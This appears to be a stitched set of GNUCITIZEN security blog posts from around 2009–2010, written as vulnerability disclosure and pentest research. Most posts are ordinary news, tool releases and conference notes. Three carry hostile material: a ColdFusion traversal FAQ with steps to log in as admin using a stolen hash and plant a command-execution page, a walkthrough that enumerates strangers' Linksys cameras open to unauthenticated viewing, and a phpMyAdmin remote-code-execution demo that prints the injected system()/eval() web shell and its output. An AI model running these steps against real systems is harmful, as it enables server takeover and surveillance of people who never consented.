The Glider

A new Adobe hotfix for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain, was rated as “Important” by Adobe and could affect a large number of Internet-facing web servers. The FAQ bellow is meant to shed some light on this vulnerability so that ColdFusion administrators can understand what they’re up against.

Finally, by producing this FAQ I will attempt to explain why (at least on certain setups) this vulnerability should have been granted a Critical rating by Adobe, rather than ‘Important’. As we’ll see bellow, it is possible to fully compromise the underlying OS of a vulnerable ColdFusion server by exploiting this directory traversal vulnerability.

How does the vulnerability work?

The vulnerability is a variation of a classic directory traversal vulnerability, also referred to as ‘arbitrary file retrieval’. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By ‘moving up’ a few directory levels, the attacker is able to obtain the contents of files outside the application server’s webroot via special strings such as ‘../’. More information can be found on the OWASP website.

Is authentication required to exploit this vulnerability?

NO. The attacker doesn’t require knowledge of any passwords in order to exploit the directory traversal bug.

What’s the goal of the attacker when exploiting this vulnerability?

Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of “neo-security.xml” and “password.properties”. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how “password.properties” has been setup, the ColdFusion admin password will be hashed or stored in clear-text (“encrypted=false”).

What’s the worst that could happen once this vulnerability has been exploited successfully?

As we’ll see at the end of this post, once the attacker has gained access to the CF admin console – e.g.: by cracking the admin password – it might be possible to fully compromise the underlying OS.

How can the vulnerability be resolved?

You can either apply Adobe’s patch or restrict access to the following directories and file from trusted IP addresses only: /CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm

What are the mitigating factors?

This vulnerability cannot be exploited on ColdFusion 9.X when default settings are used, unless of course you figure out a way to get around the directory traversal signatures used by the filtering routines.

Additionally, the ColdFusion administrator login console must be available to the attacker. It is however quite common to find CF admin consoles directly available on the Internet.

If a long and sufficiently random admin password is used, cracking the SHA1 hash could prove to be difficult. This is applicable to CF MX7, 8 and 9 (see UPDATE notes). Version 6 doesn’t hash the password, but instead encrypts it using a proprietary algorithm.

What versions of ColdFusion are affected?

According to the Adobe bulletin the affected versions are “ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX”. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.

Can you provide the actual exploit?

No. ProCheckUp will provide the exploit details at a later date. Although Richard Brain privately shared POC URLs with me, I will not make them available. Exploit details were only provided to me as a trusted security analyst for purpose of assessing the impact of the vulnerability and help me write this FAQ in the hope that it will benefit the community.

UPDATE: the exploit details were published by an anonymous researcher on 14/08/2010, probably worked out by reverse-engineering Adobe’s patches. ProCheckUp has also released the exploit details as of 17/08/2010.

Can you describe a real attack scenario?

The following a real attack scenario against ColdFusion 8 on a Windows server:

1. Attacker confirms ColdFusion admin console is Internet facing. E.g. http://target-domain.foo/CFIDE/administrator/index.cfm
2. Attacker exploits directory traversal vulnerability and obtains the contents of C:\ColdFusion8\lib\password.properties, which contains the ColdFusion admin password
   
3. If the admin password was stored “encrypted” (actually CF8 hashes the admin password using the SHA1 algorithm, similar to CF MX7), the attacker then attempts to crack it via an offline password cracking attack or rainbow table lookup. Note that the default setting in ColdFusion 8 is “encrypted=true” as per “password.properties” file. Otherwise, if the password is stored unencrypted (“encrypted=false”), there would be no need for password cracking.
4. UPDATE: as suggested by Niels Teusink, an attacker could login as the CF administrator without needing to crack the SHA1 hash. I verified his observation and can confirm it works well. You can follow these steps (tested on Firefox 3.6.8) to login using the SHA1 hash. i.e.: no need to crack the password hash:
   1. Configure your favorite MITM proxy – e.g. Burp – to capture traffic between your browser and target CF admin console
   2. Enter hash in password field of login form (usually located on “/CFIDE/administrator/enter.cfm”)
   3. Type the following on your browser’s address bar and press enter (make sure JavaScript is enabled on your browser): javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value)
   4. Record value. e.g. AFA9C9D917916DE6CE05C1BFEC0470E07A246CB0
   5. Press browser’s ‘Back’ button
   6. Press ‘Login’ on the login form (‘trapping’/'intercept’ mode should be enabled on your MITM proxy at this point)
   7. Trap the login request and replace the value of the ‘cfadminPassword’ parameter with the value recorded above
   8. Forward request
5. At this point, the attacker would be able to login as a CF admin and upload a malicious CFM script that would allow him to run remote commands (SYSTEM privileges by default). Uploading files to a CF server via the administrator console is a bit counter-intuitive. The attacker would basically add a scheduled task that would download cfexec.cfm to the server’s webroot
   
6. At this point, the attacker has gained full control of the underlying Windows OS as the CF service runs with SYSTEM privileges by default
   
   

Note: if the CF admin password is hashed and the attacker is unable to crack it, he could always try to obtain the database connection credentials (C:\ColdFusion8\lib\neo-datasource.xml) which can be easily decrypted and then directly authenticate to the backend DB server. This however wouldn’t normally be possible on a firewalled environment where the back-end DB server is not directly exposed to the Internet. Network access controls are your friends!

POST UPDATES:

• 16/09/2010 – new path added as part of blacklisting solution
• 16/09/2010 – added trick to login without cracking the CF admin password hash
• 16/09/2010 – mentioned recently published exploit code for the CF traversal vulnerability
• 18/09/2010 – fixed typos and mentioned release of exploit details by ProCheckUp

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

In case you haven’t heard yet, HITBSecConf is hosting the first European Edition of their conference in Amsterdam during 1st-2nd July ’10. The history of the HITB conferences can be traced back to 2002, the year in which the first ever edition of HITB took place in Malaysia. Since then, HITB has grown to become the biggest technical computer security event in Asia and has extended their presence to the Middle East and now Europe.

HITB aims to congregate members of the security community from all circles. From academics, and well known infosec personalities to loner-type independent researchers, and hobbyists just to name a few. I’ve personally attended past editions in Kuala Lumpur and Dubai and loved that the attendees and speakers came from a wide variety of backgrounds. If you don’t believe me, check out the pix of past conferences and you’ll find sec nerds and corporate professionals all partying in unison. Indeed, the HITB conferences are not only educational, but among the most fun sec events I’ve had the chance to attend.

Registration is still open, so you are still on time to take advantage of a great speaker lineup and one of the _de facto_ party capitals of Europe. The conference agenda can be found here. I’m really looking forward to Niels Teusink’s presentation on hacking Logitech wireless presenters and the release of detailed examples of JIT-spray techniques against IE8, FF3.6 by Alexey Sintsov (originally discussed by Dion Blazakis).

One more thing, almost forgot: there will be a bring-your-own-laptop web hacking challenge at HITB EU.

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

Some time ago, we released a proof-of-concept (PoC) that would crash CUPS when visiting a webpage containing a specially-crafted payload. The POC was tested on Ubuntu 8.04.1 LTS (hardy) and would crash the CUPS daemon which listens to localhost on port TCP/631 – even when the user would not currently be logged into CUPS.

The crash was only possible for the following reasons:

1. By default CUPS <1.3.8 did not require authentication to add new RSS subscriptions (CVE-2008-5184)
2. A NULL pointer dereference condition was triggered when more than 100 RSS subscriptions were added (CVE-2008-5183)
3. Adding RSS subscriptions (among other configuration changes) did not require random tokens within HTTP requests. In other words, all HTTP requests submitted to the CUPS daemon were vulnerable to CSRF (also known as Session Riding).

Issue #1 and #2 were fixed around the time we released our findings. Today Apple has also resolved issue #3. This is great news as it means that the vector where it was possible to probe CUPS functionalities via a specially-crafted webpage has been closed. As far as I know, this was the only way to remotely probe CUPS and bypass the listen-to-localhost-only default setting.

Kudos to the Apple Product Security team for further locking down CUPS and thanks for crediting us!

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

This article is a continuation of the following GNUCITIZEN articles: here, here, here, here and here.

As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we’ll eventually come across the type of device we’re interested in.

The second method, which would be much faster in finding our target devices, would be to use a search engine and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by GHDB is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.

The third method which would allow you to find more “hidden” Linksys IP cameras (i.e.: not cached by search engines a.k.a. the hidden web), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:

• linksys-cam.com
• mylinksyscamera.com
• mylinksyshome.com
• mylinksyscam.com
• mylinksysview.com
• linksysremotecam.com
• linksysremoteview.com
• linksyshomemonitor.com

Camera discovery process through subdomain bruteforcing

We first save the aforementioned domains in a file, doms in this case. Then we use dnsmap to bruteforce subdomains for each of the domains included in doms.

Using dnsmap’s built-in wordlist:

$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;

Using a user-supplied wordlist, wordlist_TLAs.txt in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:

$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;

Note: dnsmap’s ‘-i’ option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the DDNS service provider, and would therefore be regarded as false positives in this case (we’re only interested in IP cameras setup by their respective owners after all). For more info on how to use dnsmap, checkout the README file.

We then parse the IP addresses of the subdomains discovered by dnsmap:

$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt

Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:

$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`

This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own amap response signature, and then scan the open ports with amap.

Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to appdefs.resp, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:

http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC

Please note that the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models. So I'm not sure if it will work against other models. You've been warned!

Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results.

$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`

We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:

$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
[snip]

At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.

Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:

$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
[snip]

In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (admin/admin) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

After working on dnsmap for a few months whenever time allowed, I decided there were enough additional goodies to make version 0.30 a new public release.

Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (www.bothunters.pl), Philipp Winter (7c0.org) and meathive (kinqpinz.info). Thanks guys, your feedback was highly valuable to me.

New Features

Anyways, the following are some of the new features included:

• IPv6 support
• Makefile included
• delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth
• ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives
• changes made to make dnsmap compatible with OpenDNS
• disclosure of internal IP addresses (RFC 1918) are reported
• updated built-in wordlist
• included a standalone three-letter acronym (TLA) subdomains wordlist
• domains susceptible to “same site” scripting are reported
• completion time is now displayed to the user
• mechanism to attempt to bruteforce wildcard-enabled domains
• unique filename containing timestamp is now created when no specific output filename is supplied by user
• various minor bugs fixed

For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It’s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc … Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.

Dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.

The major drawback is lack of multi-threading support, which I’m hoping will be included in the next public release. Life is busy these days, but I’ll try to spend some time on this project when time allows and inspiration is available!

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

This post is gonna be a quick one, since it’s nothing more than the result of me tiding up my pendrive files.

Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.

I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is NOT affected apparently).

These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.

Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.

Details can be found on the attached PDF document.

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

What is the best way to spend a quiet, weekend afternoon? – Jump off a perfectly working plane while 10,000 feet in the air.

On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. It has been two months since that day but memories are still as clear as yesterday.

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

Automated Web Application Security Testing tools are in the core of modern penetrating testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.

These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.

Without further ado, I would like to introduce you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own Websecurify initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.

Here are some of the key features of Websecurify:

1. It is 100% open source, GPL, CC product, ready to benefit the open source movement
2. The engine employs technologies, such as Web Workers, from the latest HTML5 specs
3. Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C
4. The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.
5. The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.
6. The tool is cross-platformed thanks to xulrunner
7. Everything is written with extensibility in mind
8. It can be extended in pretty much the same way you can extend Firefox and Thunderbird

There are many other features, which I am going to talk about soon.

At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.

Version 0.2 can be downloaded from www.websecurify.com or our source code repository.

If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

I’ve been meaning to talk about CONFidence and EUSecWest for quite a while, but May was such an intense month for me, that’s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.

I’ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London.

pdp has also been busy presenting at AusCERT2009. In his “Weaponry 2.0″, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his Jeriko pentesting environment (NOT framework!).

My CONFidence presentation was on PCI DSS, and credit card theft from a pentester’s perspective. I attempted to explain why it’s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.

On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about cloning (activated) gift cards without physically swiping the magnetic stripes. Trust me when I say that there is a lot of truth on Drago’s tweet regarding this research!

My EUSecWest slides have just been recently published. More details will soon be available on a white paper which will be available on Corsaire Research website.

Thanks

I’d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and Dragos Ruiu from EUSecWest (plus their respective crews of course).

Also, special thanks to Corsaire who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn’t for Corsaire, this research wouldn’t have been resumed.

Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2

I couldn’t find any public PoC/exploit for this phpMyAdmin vulnerability, despite it being a serious bug affecting a popular open-source project.

I think this vulnerability is a nice reminder that it’s still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow).

All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.

After reading the public advisory and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from advisory to working attack code.

I’m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don’t be evil, it’s not worth it.

Demo

$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh 
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentestergmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -> media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
[partial output removed for brevity reasons]

Contents of /config/config.inc.php after our evil code has been successfully injected (injected code shown in bold):

<?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal Čihař <michal@cihar.com>
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo
'<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Thanks

I’d like to thank Greg Ose for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to str0ke for testing this PoC script and providing such useful feedback!

---
recent posts from the gnucitizen cutting-edge network:

The Making of Metagun
Automatic Vulnerability Screenshot Taking with Websecurify 0.7
Websecurify 0.7
ColdFusion directory traversal FAQ (CVE-2010-2861)
Websecurify 0.7RC2